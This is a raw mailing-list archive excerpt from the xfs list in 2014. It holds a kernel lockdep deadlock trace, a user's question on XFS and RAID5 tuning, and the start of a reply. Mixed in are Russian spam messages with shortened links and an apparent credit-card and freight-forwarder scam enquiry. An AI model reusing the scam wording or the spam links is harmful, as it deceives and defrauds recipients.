text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable http://goo.gl/B9yg6k=20 =E2=E5=EA =EE=ED =E2=E0=EC =EF=EE=E7=E2=EE=EB=FF=EB =ED=E0=EC=E5=EA=EE=E2= =ED=E0 =F2=EE, =EF=EE=F7=F2=EE =E2=EE=E4=EE=E3=ED=E0 =F3=E6=E0=F0=E8=F2=FC= =F1=FF? =E8 =EF=EE=F7=F2=EE =E2=FB=E4=E0=EB=E8 ? =E8=F1=F2=EE=F9=E0? =CE=E1=F0=E0=F9=E0=EB=E8 =E2=ED=E8=EC=E0=ED=E8=E5 =ED=E0 =F2=EE, =EA=E0=EA= =E8=EC=E5=ED=ED=EE =E8=EC=E5=ED=ED=EE =E1=F3=E4=F2=EE =C2=E0=F8 =EB=FE=E1= =EE=E2=ED=E8=EA =EE=F6=E5=ED=E8=E2=E0=E5=F2 =ED=E0 =E4=F0=F3=E3=E8=F5 =EC= =E0=E4=E5=EC=F3=E0=E7=E5=EB=E5=E9? =E8 =EA=E0=EA =E8=EC=E5=ED=ED=EE =E8=EC= =E5=ED=ED=EE =E1=F3=E4=F2=EE =EE=F6=E5=ED=E8=E2=E0=E5=F2 =ED=E0 =E2=E0=F1= ? =EA=E0=EA =E8=EC=E5=ED=ED=EE =E8=EC=E5=ED=ED=EE =E1=F3=E4=F2=EE =E4=EE=EB= =E3=EE? =F1=F7=E8=F2=E0=E5=F2=E5, =E5=EC=F3 =ED=F0=E0=E2=E8=F2=F1=FF =C2=E0= =F8=E0 =F4=E8=E3=F3=F0=E0? ------=_NextPart_000_0181_01CF4B85.36089760 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable


=E2=E5=EA =EE= =ED =E2=E0=EC =EF=EE=E7=E2=EE=EB=FF=EB =ED=E0=EC=E5=EA=EE=E2 =ED=E0 =F2=EE= , =EF=EE=F7=F2=EE =E2=EE=E4=EE=E3=ED=E0 =F3=E6=E0=F0=E8=F2=FC=F1=FF?
=E8 =EF=EE=F7=F2=EE =E2=FB=E4=E0=EB=E8 ? =E8=F1=F2=EE=F9=E0?
=CE=E1=F0=E0=F9=E0=EB=E8 =E2=ED=E8=EC=E0=ED=E8=E5 =ED=E0 =F2=EE= , =EA=E0=EA =E8=EC=E5=ED=ED=EE =E8=EC=E5=ED=ED=EE =E1=F3=E4=F2=EE =C2=E0=F8= =EB=FE=E1=EE=E2=ED=E8=EA =EE=F6=E5=ED=E8=E2=E0=E5=F2 =ED=E0 =E4=F0=F3=E3= =E8=F5 =EC=E0=E4=E5=EC=F3=E0=E7=E5=EB=E5=E9? =E8 =EA=E0=EA =E8=EC=E5=ED=ED= =EE =E8=EC=E5=ED=ED=EE =E1=F3=E4=F2=EE =EE=F6=E5=ED=E8=E2=E0=E5=F2 =ED=E0= =E2=E0=F1?
=EA=E0=EA =E8=EC=E5=ED=ED=EE =E8=EC=E5=ED=ED=EE = =E1=F3=E4=F2=EE =E4=EE=EB=E3=EE? =F1=F7=E8=F2=E0=E5=F2=E5, =E5=EC=F3 =ED=F0= =E0=E2=E8=F2=F1=FF =C2=E0=F8=E0 =F4=E8=E3=F3=F0=E0?

------=_NextPart_000_0181_01CF4B85.36089760-- From davej@redhat.com Sat Mar 29 17:31:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 7BCD37F52 for ; Sat, 29 Mar 2014 17:31:24 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 6EB808F8071 for ; Sat, 29 Mar 2014 15:31:21 -0700 (PDT) X-ASG-Debug-ID: 1396132277-04cbb054b68fb2d0001-NocioJ Received: from mx1.redhat.com (mx1.redhat.com [209.132.183.28]) by cuda.sgi.com with ESMTP id fX3pXQulVyUFywR1 for ; Sat, 29 Mar 2014 15:31:17 -0700 (PDT) X-Barracuda-Envelope-From: davej@redhat.com X-Barracuda-Apparent-Source-IP: 209.132.183.28 X-ASG-Whitelist: Client Received: from int-mx02.intmail.prod.int.phx2.redhat.com (int-mx02.intmail.prod.int.phx2.redhat.com [10.5.11.12]) by mx1.redhat.com (8.14.4/8.14.4) with ESMTP id s2TMVGWf032114 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sat, 29 Mar 2014 18:31:16 -0400 Received: from gelk.kernelslacker.org (ovpn-113-39.phx2.redhat.com [10.3.113.39]) by int-mx02.intmail.prod.int.phx2.redhat.com (8.13.8/8.13.8) with ESMTP id s2TMVAaS022628 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sat, 29 Mar 2014 18:31:16 -0400 Received: from gelk.kernelslacker.org (localhost [127.0.0.1]) by gelk.kernelslacker.org (8.14.8/8.14.7) with ESMTP id s2TMV94k024255; Sat, 29 Mar 2014 18:31:09 -0400 Received: (from davej@localhost) by gelk.kernelslacker.org (8.14.8/8.14.8/Submit) id s2TMV9Wl024254; Sat, 29 Mar 2014 18:31:09 -0400 X-Authentication-Warning: gelk.kernelslacker.org: davej set sender to davej@redhat.com using -f Date: Sat, 29 Mar 2014 18:31:09 -0400 From: Dave Jones To: Linux Kernel Cc: xfs@oss.sgi.com Subject: xfs i_lock vs mmap_sem lockdep trace. Message-ID: <20140329223109.GA24098@redhat.com> X-ASG-Orig-Subj: xfs i_lock vs mmap_sem lockdep trace. Mail-Followup-To: Dave Jones , Linux Kernel , xfs@oss.sgi.com MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) X-Scanned-By: MIMEDefang 2.67 on 10.5.11.12 X-Barracuda-Connect: mx1.redhat.com[209.132.183.28] X-Barracuda-Start-Time: 1396132277 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 Not sure if I've reported this already (it looks familiar, though I've not managed to find it in my sent mail folder). This is rc8 + a diff to fix the stack usage reports I was seeing (diff at http://paste.fedoraproject.org/89854/13210913/raw) ====================================================== [ INFO: possible circular locking dependency detected ] 3.14.0-rc8+ #153 Not tainted ------------------------------------------------------- git/32710 is trying to acquire lock: (&(&ip->i_lock)->mr_lock){++++.+}, at: [] xfs_ilock+0x122/0x250 [xfs] but task is already holding lock: (&mm->mmap_sem){++++++}, at: [] __do_page_fault+0x14a/0x610 which lock already depends on the new lock. the existing dependency chain (in reverse order) is: -> #1 (&mm->mmap_sem){++++++}: [] lock_acquire+0x91/0x1c0 [] might_fault+0x8c/0xb0 [] filldir+0x91/0x120 [] xfs_dir2_leaf_getdents+0x332/0x450 [xfs] [] xfs_readdir+0x1fe/0x260 [xfs] [] xfs_file_readdir+0x2b/0x40 [xfs] [] iterate_dir+0xa8/0xe0 [] SyS_getdents+0x9a/0x130 [] tracesys+0xdd/0xe2 -> #0 (&(&ip->i_lock)->mr_lock){++++.+}: [] __lock_acquire+0x181e/0x1bd0 [] lock_acquire+0x91/0x1c0 [] down_read_nested+0x52/0xa0 [] xfs_ilock+0x122/0x250 [xfs] [] xfs_ilock_data_map_shared+0x1f/0x40 [xfs] [] __xfs_get_blocks+0xc7/0x840 [xfs] [] xfs_get_blocks+0x11/0x20 [xfs] [] do_mpage_readpage+0x4a8/0x6f0 [] mpage_readpages+0xeb/0x160 [] xfs_vm_readpages+0x1d/0x20 [xfs] [] __do_page_cache_readahead+0x2ea/0x390 [] ra_submit+0x21/0x30 [] filemap_fault+0x395/0x420 [] __do_fault+0x7f/0x570 [] handle_mm_fault+0x217/0xc40 [] __do_page_fault+0x1ae/0x610 [] do_page_fault+0x1e/0x70 [] page_fault+0x22/0x30 other info that might help us debug this: Possible unsafe locking scenario: CPU0 CPU1 ---- ---- lock(&mm->mmap_sem); lock(&(&ip->i_lock)->mr_lock); lock(&mm->mmap_sem); lock(&(&ip->i_lock)->mr_lock); *** DEADLOCK *** 1 lock held by git/32710: #0: (&mm->mmap_sem){++++++}, at: [] __do_page_fault+0x14a/0x610 stack backtrace: CPU: 1 PID: 32710 Comm: git Not tainted 3.14.0-rc8+ #153 ffffffffaf69e650 000000005bc802c5 ffff88006bc9f768 ffffffffae7a8da2 ffffffffaf69e650 ffff88006bc9f7a8 ffffffffae7a4e66 ffff88006bc9f800 ffff880069c3dc30 0000000000000000 ffff880069c3dbf8 ffff880069c3dc30 Call Trace: [] dump_stack+0x4e/0x7a [] print_circular_bug+0x201/0x20f [] __lock_acquire+0x181e/0x1bd0 [] lock_acquire+0x91/0x1c0 [] ? xfs_ilock+0x122/0x250 [xfs] [] ? xfs_ilock_data_map_shared+0x1f/0x40 [xfs] [] down_read_nested+0x52/0xa0 [] ? xfs_ilock+0x122/0x250 [xfs] [] xfs_ilock+0x122/0x250 [xfs] [] xfs_ilock_data_map_shared+0x1f/0x40 [xfs] [] __xfs_get_blocks+0xc7/0x840 [xfs] [] ? __alloc_pages_nodemask+0x1ac/0xbb0 [] xfs_get_blocks+0x11/0x20 [xfs] [] do_mpage_readpage+0x4a8/0x6f0 [] ? __xfs_get_blocks+0x840/0x840 [xfs] [] ? get_parent_ip+0xd/0x50 [] ? preempt_count_sub+0x6b/0xf0 [] ? __lru_cache_add+0x65/0xc0 [] mpage_readpages+0xeb/0x160 [] ? __xfs_get_blocks+0x840/0x840 [xfs] [] ? __xfs_get_blocks+0x840/0x840 [xfs] [] ? alloc_pages_current+0x106/0x1f0 [] xfs_vm_readpages+0x1d/0x20 [xfs] [] __do_page_cache_readahead+0x2ea/0x390 [] ? __do_page_cache_readahead+0x120/0x390 [] ra_submit+0x21/0x30 [] filemap_fault+0x395/0x420 [] __do_fault+0x7f/0x570 [] handle_mm_fault+0x217/0xc40 [] ? __lock_is_held+0x57/0x80 [] __do_page_fault+0x1ae/0x610 [] ? put_lock_stats.isra.28+0xe/0x30 [] ? lock_release_holdtime.part.29+0xe6/0x160 [] ? get_parent_ip+0xd/0x50 [] ? context_tracking_user_exit+0x5f/0x190 [] do_page_fault+0x1e/0x70 [] page_fault+0x22/0x30 From pensiones@mail.cdsprovidencia.cl Sat Mar 29 23:26:45 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,UPPERCASE_50_75 autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 578E17F51 for ; Sat, 29 Mar 2014 23:26:45 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 1BE528F8071 for ; Sat, 29 Mar 2014 21:26:40 -0700 (PDT) X-ASG-Debug-ID: 1396153592-04bdf05dacb1cb70001-NocioJ Received: from mail.cdsprovidencia.cl (mail.cdsprovidencia.cl [200.75.13.39]) by cuda.sgi.com with ESMTP id 1nTOeS0qPoy4LTR3 for ; Sat, 29 Mar 2014 21:26:33 -0700 (PDT) X-Barracuda-Envelope-From: pensiones@mail.cdsprovidencia.cl X-Barracuda-Apparent-Source-IP: 200.75.13.39 Received: from localhost (localhost.localdomain [127.0.0.1]) by mail.cdsprovidencia.cl (Postfix) with ESMTP id 572562ACC72E for ; Sun, 30 Mar 2014 01:28:26 -0400 (CLT) X-Virus-Scanned: amavisd-new at cdsprovidencia.cl Received: from mail.cdsprovidencia.cl ([127.0.0.1]) by localhost (mail.cdsprovidencia.cl [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id MRrSlRolmvns for ; Sun, 30 Mar 2014 01:28:21 -0400 (CLT) Received: from dnrdjqjj (36-239-230-50.dynamic-ip.hinet.net [36.239.230.50]) by mail.cdsprovidencia.cl (Postfix) with ESMTPA id 4FB9A2ACC7BC for ; Sun, 30 Mar 2014 01:28:19 -0400 (CLT) Message-ID: <60262C53FBE444BAACD9310C093F185C@zmehyf> From: "Beulah Juell" To: "xfs" Subject: =?windows-1251?B?zfDg4uj4/PH/IOzz5vfo7eDsPyBnT1BHd1Jr?= Date: Sun, 30 Mar 2014 06:26:25 +0200 X-ASG-Orig-Subj: =?windows-1251?B?zfDg4uj4/PH/IOzz5vfo7eDsPyBnT1BHd1Jr?= MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_0472_01CF4BE0.FA2797D0" X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Windows Mail 6.0.6001.18416 X-MimeOLE: Produced By Microsoft MimeOLE V6.0.6001.18645 X-Barracuda-Connect: mail.cdsprovidencia.cl[200.75.13.39] X-Barracuda-Start-Time: 1396153593 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.49 X-Barracuda-Spam-Status: No, SCORE=0.49 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE, UPPERCASE_50_75, UPPERCASE_50_75_2 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4406 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 UPPERCASE_50_75 message body is 50-75% uppercase 0.49 UPPERCASE_50_75_2 message body is 50-75% uppercase This is a multi-part message in MIME format. ------=_NextPart_000_0472_01CF4BE0.FA2797D0 Content-Type: text/plain; charset="windows-1251" Content-Transfer-Encoding: quoted-printable =FF=E3=EB=FC=B8=F2 =E2=E8=E4=E5=F2=FC =F0=FF=E4=EE=EC =CE=E1=F0=E0=F2=E8 = =E2=ED=E8=EC=E0=ED=E8=E5 =FF =F1 =F1=EE=E1=EE=FE =F2=F3, =EA=EE=F2=EE=F0=E0= =FF =EC=E8=EB=E0 =E5=E3=EE =E2=E7=E3=EB=FF=E4=F3. =DF=E2=EB=FF=E5=F2=E5=F1= =FC =F2=E0=EA=EE=E9? =E8 =F1=E8=E5 =E0=E1=F1=EE=EB=FE=F2=ED=EE =EE=F7=E5=E2=E8=E4=ED=EE, =EB=FE= =E1=EE=E9 =F7=E5=EB=EE=E2=E5=EA =FF=E3=EB=FC=B8=F2 =EF=EE=EB=FC=E7=EE=E2=E0= =F2=FC=F1=FF =EA=F0=E0=F1=E8=E2=EE=E9, =EF=EE=E4=F2=FF=ED=F3=F2=EE=E9, =F1= =F2=F0=EE=E9=ED=EE=E9 =E6=E5=ED=F9=E8=ED=EE=E9. =E8 =F0=EE=E2=ED=EE =E4=EE=EF=F3=F1=F2=E8=EB=E8 ? =CF=EE=F5=F3=E4=E5? =EE=F2=F0=EE=E4=F3 =C2=E0=EC =EE=F2=E2=E0=EB=E8=E2=E0=EB =ED=E0=EC=E5=EA=EE= =E2 =ED=E0 , =F0=EE=E2=ED=EE =EF=EE=EB=EE=F1=E0 =E1=FB =EE=F2=EE=F9=E0=F2= =FC? =CD=F0=E0=E2=E8=F2=E5=F1=FC =ED=E0=F8=E5=EC=F3 =F5=EB=EE=EF=F6=F3 =E8=EB=E8= =F1=F3=EF=F0=F3=E3=F3? http://goo.gl/GjmX0f=20 ------=_NextPart_000_0472_01CF4BE0.FA2797D0 Content-Type: text/html; charset="windows-1251" Content-Transfer-Encoding: quoted-printable


=FF=E3=EB=FC= =B8=F2 =E2=E8=E4=E5=F2=FC =F0=FF=E4=EE=EC =CE=E1=F0=E0=F2=E8 =E2=ED=E8=EC= =E0=ED=E8=E5 =FF =F1 =F1=EE=E1=EE=FE =F2=F3, =EA=EE=F2=EE=F0=E0=FF =EC=E8= =EB=E0 =E5=E3=EE =E2=E7=E3=EB=FF=E4=F3. =DF=E2=EB=FF=E5=F2=E5=F1=FC =F2=E0= =EA=EE=E9?
=E8 =F1=E8=E5 =E0=E1=F1=EE=EB=FE=F2=ED=EE =EE=F7=E5= =E2=E8=E4=ED=EE, =EB=FE=E1=EE=E9 =F7=E5=EB=EE=E2=E5=EA =FF=E3=EB=FC=B8=F2= =EF=EE=EB=FC=E7=EE=E2=E0=F2=FC=F1=FF =EA=F0=E0=F1=E8=E2=EE=E9, =EF=EE=E4= =F2=FF=ED=F3=F2=EE=E9, =F1=F2=F0=EE=E9=ED=EE=E9 =E6=E5=ED=F9=E8=ED=EE=E9.=
=E8 =F0=EE=E2=ED=EE =E4=EE=EF=F3=F1=F2=E8=EB=E8 ? =CF=EE=F5= =F3=E4=E5?
=EE=F2=F0=EE=E4=F3 =C2=E0=EC =EE=F2=E2=E0=EB=E8=E2= =E0=EB =ED=E0=EC=E5=EA=EE=E2 =ED=E0 , =F0=EE=E2=ED=EE =EF=EE=EB=EE=F1=E0 = =E1=FB =EE=F2=EE=F9=E0=F2=FC?
=CD=F0=E0=E2=E8=F2=E5=F1=FC =ED= =E0=F8=E5=EC=F3 =F5=EB=EE=EF=F6=F3 =E8=EB=E8 =F1=F3=EF=F0=F3=E3=F3? ------=_NextPart_000_0472_01CF4BE0.FA2797D0-- From weber@zbfmail.de Sun Mar 30 02:12:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 644957F37 for ; Sun, 30 Mar 2014 02:12:30 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 3BC4230404E for ; Sun, 30 Mar 2014 00:12:27 -0700 (PDT) X-ASG-Debug-ID: 1396163540-04bdf05daab24620001-NocioJ Received: from mail.zbfmail.de (mail.zbfmail.de [176.9.84.12]) by cuda.sgi.com with ESMTP id IeM7j9ybLZT1jHbn (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sun, 30 Mar 2014 00:12:22 -0700 (PDT) X-Barracuda-Envelope-From: weber@zbfmail.de X-Barracuda-Apparent-Source-IP: 176.9.84.12 Received: from mail.zbfmail.de (localhost [127.0.0.1]) by mail.zbfmail.de (Postfix) with ESMTP id 3DB681E54DE for ; Sun, 30 Mar 2014 09:12:20 +0200 (CEST) DKIM-Filter: OpenDKIM Filter v2.8.4 mail.zbfmail.de 3DB681E54DE DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=zbfmail.de; s=dkim; t=1396163540; bh=zKkWZf4wQx3RJSjFcZ0luXjADRiXkz0pM6JLW7/k5vc=; h=Date:From:To:Subject:Reply-To; b=bAO3ojOmHMoG1RL9TxaQlta8wfXLDOfOSKV/1r2syfibkiKRURRaifUc/d4Hb98Zo 6eHFz3MBsEUGjfVg3PMTlI+Jlv36NzKYqIBLrGPp+sATgdXvjSPrCUoizJAk7jDaBR YT/mxxJVf0gWXXLyhJDVgejl5I8qJEaNmNZ8PxKQ= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8; format=flowed Content-Transfer-Encoding: 7bit Date: Sun, 30 Mar 2014 09:12:20 +0200 From: Marko Weber|8000 To: Xfs Subject: xfs help question Organization: zbf mail X-ASG-Orig-Subj: xfs help question Reply-To: weber@zbfmail.de Mail-Reply-To: weber@zbfmail.de Message-ID: <6997ecc6ee5c7096ded12e8ad3d77d12@zbfmail.de> X-Sender: weber@zbfmail.de User-Agent: Roundcube zbfmail Webmail X-DCC-STAT_FI_X86_64_VIRTUAL-Metrics: mailserver 1245; Body=1 Fuz1=1 Fuz2=1 X-Barracuda-Connect: mail.zbfmail.de[176.9.84.12] X-Barracuda-Start-Time: 1396163541 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4410 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature hello again me ;-), i thought best place to ask this is here. i read the faq alot last days but have still questions: i got a server now with 4 Disks, i plan to do an raid5 with linux soft raid. On the server is planed to store 'larger' from 1GB up to 60GB. what would be best settings when formatting with xfs? is it better to use '-b size=4096' or the '512'? should i manipulate the '-i size=' to 2048? or use the default? i also dont get it with the write-disk cache at all, its an linux softraid, is the best then to use 'nobarrier' and let the 'disk write cache on'? or is best solution on linux softraid 'disk write cache' on with xfs barrier on? also, should i tweak with sunit,swidth? and how do i calculate best setting? thanks for any tipps n hints marko -- zbfmail - Mittendrin statt nur Datei! OpenDKIM, SPF, DSPAM, Greylisting, POSTSCREEN, AMAVIS, Mailgateways Mailfiltering, SMTP Service, Spam Abwehr, MX-Backup, Mailserver Backup Redundante Mailgateways, HA Mailserver, Secure Mailserver From wholesalesandre200@gmail.com Sun Mar 30 08:19:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: * X-Spam-Status: No, score=1.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,FREEMAIL_REPLYTO,HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E92257F53 for ; Sun, 30 Mar 2014 08:19:05 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id E4F31304032 for ; Sun, 30 Mar 2014 06:19:02 -0700 (PDT) X-ASG-Debug-ID: 1396185541-04cbb054b79281a0001-NocioJ Received: from mail-ve0-f194.google.com (mail-ve0-f194.google.com [209.85.128.194]) by cuda.sgi.com with ESMTP id ySwBdrtjMsThSAzm (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sun, 30 Mar 2014 06:19:01 -0700 (PDT) X-Barracuda-Envelope-From: wholesalesandre200@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.128.194 X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.194] Received: by mail-ve0-f194.google.com with SMTP id pa12so1546112veb.5 for ; Sun, 30 Mar 2014 06:19:00 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.194] X-Barracuda-IPDD: Level1 [gmail.com/209.85.128.194] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:reply-to:date:message-id:subject:from:to:content-type; bh=uHiZNbWwe77P9JYg0a/2KEJZDmm7mEBkqIitgESdnk0=; b=IcA5FEwJ4YDjoLRl87Rdkg6jKvTRqLLB8IENJBc0qTWLd2M97UeuheSgNzLvf8kwfh R5C/owwhzMYyBRlnyHJaQdje1W8TP64oUDwneWc0IE7KP9yC6HEd1X9THLQ0Y8siyb6y fz/FEszCRSDWZb4HFWRLHpFTW7JPOm7Rr0/ZjCaSnUR51WRoyoXyCHa2r0tqIXmuiqUu i8Zd9F/n739QGFBkmMu4uzjAUD4WCi9+nNefClJjjo834XiNAemfb1aqSTDbzpvsk9Gs yQ6rUC+kUlcKH9rREdmViDAXiJfnyw3ZUq+7R1FIDptS9wjD+tdwg0qSQ0yhW5rvjBG4 WizQ== MIME-Version: 1.0 X-Received: by 10.52.26.161 with SMTP id m1mr1730891vdg.24.1396185540646; Sun, 30 Mar 2014 06:19:00 -0700 (PDT) Received: by 10.52.33.75 with HTTP; Sun, 30 Mar 2014 06:19:00 -0700 (PDT) Reply-To: coastsupply@blumail.org Date: Sun, 30 Mar 2014 14:19:00 +0100 Message-ID: Subject: Enquiry. From: "order@coastsupplyltd.com" X-ASG-Orig-Subj: Enquiry. To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=20cf307c9efc30eb8b04f5d2c7e0 X-Barracuda-Connect: mail-ve0-f194.google.com[209.85.128.194] X-Barracuda-Start-Time: 1396185541 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4420 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --20cf307c9efc30eb8b04f5d2c7e0 Content-Type: text/plain; charset=ISO-8859-1 Hi! Sales, How are you doing today! I'm very much interested in purchasing some of your products but firstly i want to make an inquiry if you can ship directly to us here in Tortola, British Virgin Islands, 1. Do you accept credit card Yes / No ( Answer ) 2. What type of card do you accept 3. Do you ship to British Virgin Islands Yes / No ( Answer ) 3) Can you work hand in hand with my freight forwarder personal shipping agent? so they can Pickup the products directly from your location down to us here in the British Virgin Islands Yes / No ( Answer ) I'll be looking forward to hearing from you. Thank you, President, Owner. Andrea Roberto. --20cf307c9efc30eb8b04f5d2c7e0 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
Hi! Sales,

How are you doing= today! I'm very much interested in purchasing some of your products bu= t firstly i want to make an inquiry if you can ship directly to us here in = Tortola, British Virgin Islands,

1. Do you accept credit card =A0 =A0 =A0Yes / No =A0 ( = Answer )
2. What type of card do you accept
3. Do you s= hip to British Virgin Islands =A0 =A0 Yes / No =A0( Answer )

=
3) Can you work hand in hand with my freight forwarder personal shipping ag= ent? so they can Pickup the products directly from your location down to us= here in the British Virgin Islands =A0Yes / No =A0 ( Answer )
I'll be looking forward to hearing from you.

<= /div>
Thank you,

President, Owner.
A= ndrea Roberto.
--20cf307c9efc30eb8b04f5d2c7e0-- From eflorac@intellique.com Sun Mar 30 15:22:30 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 862827F53 for ; Sun, 30 Mar 2014 15:22:30 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay3.corp.sgi.com (Postfix) with ESMTP id 1223BAC002 for ; Sun, 30 Mar 2014 13:22:26 -0700 (PDT) X-ASG-Debug-ID: 1396210942-04cb6c5676b30240001-NocioJ Received: from smtp6-g21.free.fr (smtp6-g21.free.fr [212.27.42.6]) by cuda.sgi.com with ESMTP id IEj587Dx6zEETY8N for ; Sun, 30 Mar 2014 13:22:23 -0700 (PDT) X-Barracuda-Envelope-From: eflorac@intellique.com X-Barracuda-Apparent-Source-IP: 212.27.42.6 Received: from galadriel.home (unknown [82.235.234.79]) by smtp6-g21.free.fr (Postfix) with ESMTP id 665B682269; Sun, 30 Mar 2014 22:22:18 +0200 (CEST) Date: Sun, 30 Mar 2014 22:22:14 +0200 From: Emmanuel Florac To: weber@zbfmail.de Cc: Xfs Subject: Re: xfs help question Message-ID: <20140330222214.4901d7ff@galadriel.home> X-ASG-Orig-Subj: Re: xfs help question In-Reply-To: <6997ecc6ee5c7096ded12e8ad3d77d12@zbfmail.de> References: <6997ecc6ee5c7096ded12e8ad3d77d12@zbfmail.de> Organization: Intellique X-Mailer: Claws Mail 3.7.8 (GTK+ 2.24.4; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: quoted-printable X-Barracuda-Connect: smtp6-g21.free.fr[212.27.42.6] X-Barracuda-Start-Time: 1396210942 X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4432 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header Le Sun, 30 Mar 2014 09:12:20 +0200 vous 